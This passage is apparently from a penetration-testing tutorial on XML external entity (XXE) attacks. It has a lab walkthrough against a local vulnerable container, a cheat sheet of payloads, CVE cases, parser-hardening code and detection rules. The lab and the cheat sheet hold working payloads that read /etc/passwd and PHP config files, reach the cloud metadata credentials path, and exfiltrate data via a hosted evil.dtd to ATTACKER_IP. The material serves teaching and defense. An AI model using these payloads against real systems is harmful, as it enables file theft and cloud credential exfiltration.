Java DocumentBuilderFactory / SAXParser / XMLReader	External entities & DTDs ON by default	The classic XXE-vulnerable stack. Also honours ftp://, netdoc://, jar:. Fix with FEATURE_SECURE_PROCESSING + disallow-doctype.
Java TransformerFactory / SAXTransformerFactory / XPath	Often ON	Set ACCESS_EXTERNAL_DTD/ACCESS_EXTERNAL_STYLESHEET to "".
Java SAXReader (dom4j) / JAXB / Unmarshaller	Frequently ON	Very common in enterprise; harden the underlying XMLReader/XMLStreamReader.
.NET XmlDocument / XmlTextReader	Vulnerable before .NET 4.5.2 (DTD on)	XmlResolver = null and DtdProcessing = Prohibit to fix; modern defaults safer.
.NET XDocument / LINQ-to-XML	Safer default (no DTD resolution)	Still verify XmlReaderSettings.
Python xml.etree.ElementTree / minidom / sax	Does not expand external entities by default (safe-ish)	But vulnerable to billion-laughs; lxml differs.
Python lxml	External entity resolution off by default, no_network=True	etree.XMLParser(resolve_entities=True) re-introduces the bug; defusedxml is the safe wrapper.
libxml2 (C, and everything built on it)	XML_PARSE_NOENT/XML_PARSE_DTDLOAD off by default	The local-DTD error-based trick targets libxml2 specifically.
Ruby REXML / Nokogiri	Nokogiri off by default; enabling NOENT re-adds it	REXML historically expanded entities (DoS).

The pattern: Java is the perennial offender (secure-by-default only if you explicitly harden it), PHP flipped safe at libxml 2.9, .NET flipped safe at 4.5.2, and Python’s stdlib is mostly safe for entity resolution but not for DoS. When you fingerprint the stack (via error messages, headers, behaviour), let this table set your expectation for which payloads will land.

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Part 12: Hands-On Lab — From First Probe to Blind OOB Exfiltration

This lab is fully reproducible on a local vulnerable target. We stand up a deliberately broken Java service, then walk the complete methodology: confirm parsing, in-band read, pivot to blind, and OOB exfiltrate — with the exact commands, flags, and the output you would actually see.

12.1 Stand up the target

Any XXE lab works; we use a minimal container so the commands are concrete. Use a throwaway VM.

# Attacker box (Kali). Pull a known-vulnerable XXE lab app.
docker run --rm -d -p 8080:8080 --name xxe-lab vulhub/xxe-lab   # illustrative image name
# Confirm it's up
curl -s -X POST http://localhost:8080/xxe/index.php \
  -H 'Content-Type: application/xml' \
  --data '<?xml version="1.0"?><user><username>a</username><password>b</password></user>'
# => <result>Hello a</result>   (the username is reflected — our oracle)

The username field is echoed back — a reflection oracle for in-band testing.

12.2 Step 1 — confirm the parser processes a DTD (harmless proof)

Never lead with /etc/passwd. First prove entity expansion with a benign internal entity, which touches no files and no network:

curl -s -X POST http://localhost:8080/xxe/index.php \
  -H 'Content-Type: application/xml' \
  --data '<?xml version="1.0"?>
<!DOCTYPE user [ <!ENTITY probe "XXE-OK"> ]>
<user><username>&probe;</username><password>b</password></user>'
# => <result>Hello XXE-OK</result>

&probe; expanded — the parser processes internal DTD entities. That single benign response is enough to justify escalating within an authorised scope, without yet reading anything sensitive.

12.3 Step 2 — in-band file read

curl -s -X POST http://localhost:8080/xxe/index.php \
  -H 'Content-Type: application/xml' \
  --data '<?xml version="1.0"?>
<!DOCTYPE user [ <!ENTITY xxe SYSTEM "file:///etc/hostname"> ]>
<user><username>&xxe;</username><password>b</password></user>'
# => <result>Hello 6f3c9a2b1d44</result>   (the container hostname — a benign proof file)

We deliberately read /etc/hostname (non-sensitive) rather than /etc/passwd as the proof of concept: it demonstrates arbitrary file read without exposing account data. Note the finding, and only read a more sensitive path if the engagement explicitly requires demonstrating deeper impact.

12.4 Step 3 — the same app, now made blind

Reconfigure (or move to an endpoint) where the username is not reflected — the response is a fixed <result>Processed</result>. The in-band payload now shows nothing. Confirm blind via OOB:

# Start interactsh (or copy a Burp Collaborator payload). It prints your unique domain.
interactsh-client
# => using domain: k9d2f1.oast.pro

curl -s -X POST http://localhost:8080/xxe/blind.php \
  -H 'Content-Type: application/xml' \
  --data '<?xml version="1.0"?>
<!DOCTYPE user [ <!ENTITY % xxe SYSTEM "http://k9d2f1.oast.pro/probe"> %xxe; ]>
<user><username>a</username><password>b</password></user>'
# interactsh-client console:
# [k9d2f1.oast.pro] Received DNS interaction from 172.17.0.3
# [k9d2f1.oast.pro] Received HTTP interaction from 172.17.0.3 (GET /probe)

The DNS + HTTP hit from the container’s IP confirms blind XXE — even with a fixed response body.

12.5 Step 4 — OOB exfiltration of a file

Host the malicious external DTD from Part 6 and trigger it:

# Attacker: create evil.dtd
cat > evil.dtd <<'EOF'
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://ATTACKER_IP:8000/collect?x=%file;'>">
%eval;
%exfil;
EOF

# Serve it and watch for the exfil callback
python3 -m http.server 8000

Trigger from the target:

curl -s -X POST http://localhost:8080/xxe/blind.php \
  -H 'Content-Type: application/xml' \
  --data '<?xml version="1.0"?>
<!DOCTYPE user [ <!ENTITY % xxe SYSTEM "http://ATTACKER_IP:8000/evil.dtd"> %xxe; ]>
<user><username>a</username><password>b</password></user>'

Attacker’s http.server log:

172.17.0.3 - - "GET /evil.dtd HTTP/1.0" 200 -
172.17.0.3 - - "GET /collect?x=6f3c9a2b1d44 HTTP/1.0" 404 -
#                             ^^^^^^^^^^^^ /etc/hostname contents exfiltrated blind

You have now walked the full ladder: parse-confirm → in-band → blind-confirm → OOB-exfil. That is the exact sequence to follow on a real engagement (substituting your own Collaborator domain and authorised, minimal proof files).

12.6 Step 5 — automate the enumeration (only after manual confirmation)

# Save the blind request (with DOCTYPE spot marked XXEINJECT) to req.txt, then:
ruby XXEinjector.rb --host=ATTACKER_IP --httpport=8000 --file=req.txt \
     --path=/etc --oob=http --phpfilter
# XXEinjector enumerates /etc, hosts the DTD, and reassembles files via the OOB channel.

---

Part 13: Real-World Cases and CVEs

XXE has produced a long line of high-impact, real disclosures — it is not a theoretical bug:

Case / CVE	Product	Impact
CVE-2014-3660	libxml2 (Billion Laughs / entity expansion)	DoS across everything built on libxml2
CVE-2016-3081 / Struts-family XML	Apache Struts REST plugin (XStream)	XML parsing → RCE-class impact in enterprise Java apps
CVE-2018-1000840	SmartXLS	XXE via crafted spreadsheet parsing
CVE-2019-0192 / Solr	Apache Solr	XXE via config/DIH XML → SSRF and file read
Facebook DELETE XXE (2014)	Facebook (bug bounty)	XXE in a partner tool — landmark large-payout disclosure
Google/Uber/Shopify XXE reports	Various HackerOne programs	Repeated file-read + SSRF-to-metadata chains, four/five-figure bounties
CVE-2018-20434 / LibreNMS, and many SAML libs	SSO / SAML processors	XXE in identity-critical XML parsing
PostSwigger / DocuSign / SharePoint XXE classes	Document & collaboration platforms	Office/OOXML upload → XXE

The through-line: XXE surfaces wherever XML is parsed and the parser was left in its historical default — SOAP APIs, SAML, XML config importers, document/image upload pipelines, and Java serialization libraries that ride on XML. IR use case: when triaging a suspected XXE incident, the CVE and product context tells you which files/endpoints the attacker most likely reached (e.g. Solr DIH → solrconfig.xml and internal SSRF), scoping your log review.

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Part 14: Detection & Defense Angle

This is the consolidated defensive section. XXE is one of the cleanest bug classes to eliminate, because you almost never need external entities or DTD processing — so you turn them off.

14.1 The one rule that kills the class: disable DTDs

The single most effective control is disallowing DOCTYPE declarations entirely. If the parser rejects any document containing a DTD, every entity-based technique in this chapter is dead. Per stack:

Java (DocumentBuilderFactory):

DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
// The nuclear option — reject any DOCTYPE outright (OWASP-recommended):
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
// Belt-and-braces if you cannot disallow DOCTYPE for some reason:
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
dbf.setXIncludeAware(false);
dbf.setExpandEntityReferences(false);

Java TransformerFactory / SAX / StAX: set XMLConstants.FEATURE_SECURE_PROCESSING to true and ACCESS_EXTERNAL_DTD / ACCESS_EXTERNAL_STYLESHEET to "".

.NET:

var settings = new XmlReaderSettings {
    DtdProcessing = DtdProcessing.Prohibit,   // reject DTDs
    XmlResolver  = null                        // never resolve external refs
};

PHP (libxml ≥ 2.9 is safe by default; do not re-enable):

// Do NOT call libxml_disable_entity_loader(false). On modern PHP, defaults are safe.
$dom = new DOMDocument();
$dom->loadXML($xml, LIBXML_NONET);   // LIBXML_NONET blocks network access explicitly

Python: use defusedxml in place of the stdlib/lxml parsers:

from defusedxml.ElementTree import fromstring   # blocks entities, DTDs, and DoS
tree = fromstring(untrusted_xml)

14.2 Layered controls

• Disable DTD processing (above) — primary control.
• Disable external entity and parameter-entity resolution — defence in depth.
• Disable XInclude unless explicitly required.
• Cap entity expansion / document size to stop billion-laughs even if DTDs are allowed.
• Egress filtering — block outbound connections from app servers to the internet and to the metadata IP (169.254.169.254); enforce IMDSv2. This neutralises OOB exfil and SSRF-to-metadata even if a parser is misconfigured.
• Use JSON where you can — if the endpoint does not need XML, do not accept it; reject Content-Type: application/xml outright.
• Patch and update parsers — many stacks flipped to safe defaults in specific versions (libxml 2.9, .NET 4.5.2); staying current gets you safe-by-default behaviour.

14.3 Detection — logs and telemetry

flowchart LR
    A[XML request in] --> B{Body contains DOCTYPE/ENTITY?}
    B -->|Yes| C[Alert: DTD in untrusted XML]
    A --> D[App server egress logs]
    D --> E{Outbound to metadata IP / rare domain?}
    E -->|Yes| F[Alert: possible XXE OOB / SSRF]
    A --> G[Parser error logs]
    G --> H{FileNotFound with file-content-looking paths?}
    H -->|Yes| I[Alert: error-based XXE attempt]

Concrete detections:

• WAF / request inspection: flag request bodies containing <!DOCTYPE, <!ENTITY, SYSTEM, PUBLIC, or <xi:include in untrusted XML. (Remember attackers UTF-16-encode to evade — inspect after charset normalisation.)
• Egress monitoring: an app tier making DNS/HTTP requests to random external domains or to 169.254.169.254 is a strong XXE/SSRF signal. Blue-team usage: wire this into SIEM as a high-fidelity rule; app servers rarely make arbitrary outbound calls legitimately.
• Parser error logs: FileNotFoundException/java.io.FileNotFoundException with paths that look like file contents (colons, slashes, root:x:0:0) indicate error-based XXE attempts.
• File-access auditing: the web-app user reading /etc/passwd, /etc/shadow, or DTDs like docbookx.dtd unexpectedly is worth an alert (auditd on Linux).

14.4 The mental model for defenders

XXE is a default-configuration bug far more than a coding bug. The fix is almost never “sanitise input” (you cannot reliably sanitise XML into safety) — it is “reconfigure the parser to not do the dangerous thing.” When you review code, you are hunting for XML parser instantiations and checking whether DTD/entity processing was explicitly turned off. That is a fast, mechanical audit.

---

Part 15: Final Revision / Summary

The compressed model to carry forward:

• XXE = an XML parser resolving attacker-defined entities. The vulnerability lives in DTD processing + external-entity resolution. Kill either and the bug dies.
• Two entity types: general (&x;, used in the body) and parameter (%x;, used in the DTD). Parameter entities are what make blind and OOB exploitation possible, because they bypass the spec restrictions that block naive general-entity exfiltration.
• Ladder of exploitation: benign-probe → in-band file read → SSRF → error-based → blind OOB with a hosted DTD → local-DTD reuse (zero egress). Always climb only as far as impact requires, and prove with minimal, benign evidence.
• php://filter base64 for PHP file reads; FTP OOB for multi-line data on Java; XInclude when you cannot inject a DOCTYPE; local-DTD reuse when there is no network egress at all.
• Attack surface is huge: SOAP, SAML, REST endpoints that accept XML, SVG, Office/OOXML uploads, RSS, config importers. Try flipping Content-Type to application/xml on JSON endpoints.
• Defense is decisive: disable DOCTYPE/DTD processing, disable external+parameter entities and XInclude, cap expansion, filter egress + enforce IMDSv2, prefer JSON, keep parsers patched.

If you remember one sentence: “An external entity makes the server fetch something on the attacker’s behalf; disabling DTDs stops it cold.”

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Part 16: Cheat Sheet / Quick Reference

Classic in-band read

<!DOCTYPE r [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<r>&xxe;</r>

PHP base64 read (survives special chars / binaries)

<!DOCTYPE r [ <!ENTITY xxe SYSTEM
  "php://filter/convert.base64-encode/resource=/var/www/config.php"> ]>
<r>&xxe;</r>

SSRF (cloud metadata)

<!DOCTYPE r [ <!ENTITY xxe SYSTEM
  "http://169.254.169.254/latest/meta-data/iam/security-credentials/"> ]>
<r>&xxe;</r>

Blind OOB detection (parameter entity)

<!DOCTYPE r [ <!ENTITY % xxe SYSTEM "http://COLLAB/x"> %xxe; ]>

Blind OOB exfiltration — hosted evil.dtd

<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://ATTACKER/?x=%file;'>">
%eval;
%exfil;

Trigger for the hosted DTD

<!DOCTYPE r [ <!ENTITY % xxe SYSTEM "http://ATTACKER/evil.dtd"> %xxe; ]>

Error-based (leak via stack trace)

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;

XInclude (no DOCTYPE)

<foo xmlns:xi="http://www.w3.org/2001/XInclude">
  <xi:include parse="text" href="file:///etc/passwd"/>
</foo>

Billion Laughs (DoS — authorised testing only) — see Part 10.1.

Quick-reference table

Goal	Payload primitive
Read text file (in-band)	<!ENTITY xxe SYSTEM "file:///path"> + reference in reflected field
Read PHP/binary	php://filter/convert.base64-encode/resource=…
SSRF / internal fetch	<!ENTITY xxe SYSTEM "http://internal/…">
Confirm blind	<!ENTITY % x SYSTEM "http://COLLAB"> %x;
Exfil blind	Hosted external DTD with %file;+%eval;+%exfil;
No egress	Local-DTD reuse (override %ISOamso; etc.)
Leak via error	file:///nonexistent/%file; trick
No DOCTYPE allowed	XInclude <xi:include>
WAF blocks <!ENTITY>	UTF-16 encode, PUBLIC, or external-DTD

Defensive one-liners

Stack	Fix
Java	dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
.NET	DtdProcessing = Prohibit; XmlResolver = null;
PHP	Keep libxml ≥ 2.9; loadXML($x, LIBXML_NONET);
Python	from defusedxml.ElementTree import fromstring

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Part 17: Practice Labs & Resources

Train each specific skill in this chapter on these targets:

• PortSwigger Web Security Academy — XXE (free, the definitive lab set): “Exploiting XXE using external entities to retrieve files”, “…to perform SSRF”, “Blind XXE with out-of-band interaction”, “Blind XXE with out-of-band interaction via XML parameter entities”, “Exploiting blind XXE to exfiltrate data using a malicious external DTD”, “Exploiting blind XXE to retrieve data via error messages”, “Exploiting XXE to retrieve data by repurposing a local DTD”, and the XInclude and SVG-upload labs. Do them in that order — it mirrors Parts 3→9 exactly.
• TryHackMe — “XXE Injection” room and the “Web Fundamentals”/“OWASP Top 10” XXE tasks.
• HackTheBox — retired web machines featuring XXE entry vectors (search the “XXE” tag; boxes like Blocky-style upload chains and API/SOAP boxes), plus HTB Academy’s “XXE” module.
• PentesterLab — the “XML Attacks” / “XXE” badge exercises.
• VulnHub / local — spin up an intentionally vulnerable XXE app (e.g. the DVWA-style and vulhub XXE labs) to rehearse the OOB DTD workflow end-to-end offline.
• Bug-bounty study — read disclosed XXE reports on HackerOne (filter by the “XXE” weakness) to see real injection points and how researchers proved impact with minimal, benign evidence.
• Reference — the OWASP “XML External Entity Prevention Cheat Sheet” for the authoritative per-parser hardening snippets, and PayloadsAllTheThings’ “XXE Injection” page for a payload catalog.

Work the PortSwigger set until the blind-OOB-with-external-DTD and repurpose-a-local-DTD labs are muscle memory — those two are what separate a surface-level understanding of XXE from operational capability, and they are exactly what real hardened targets demand.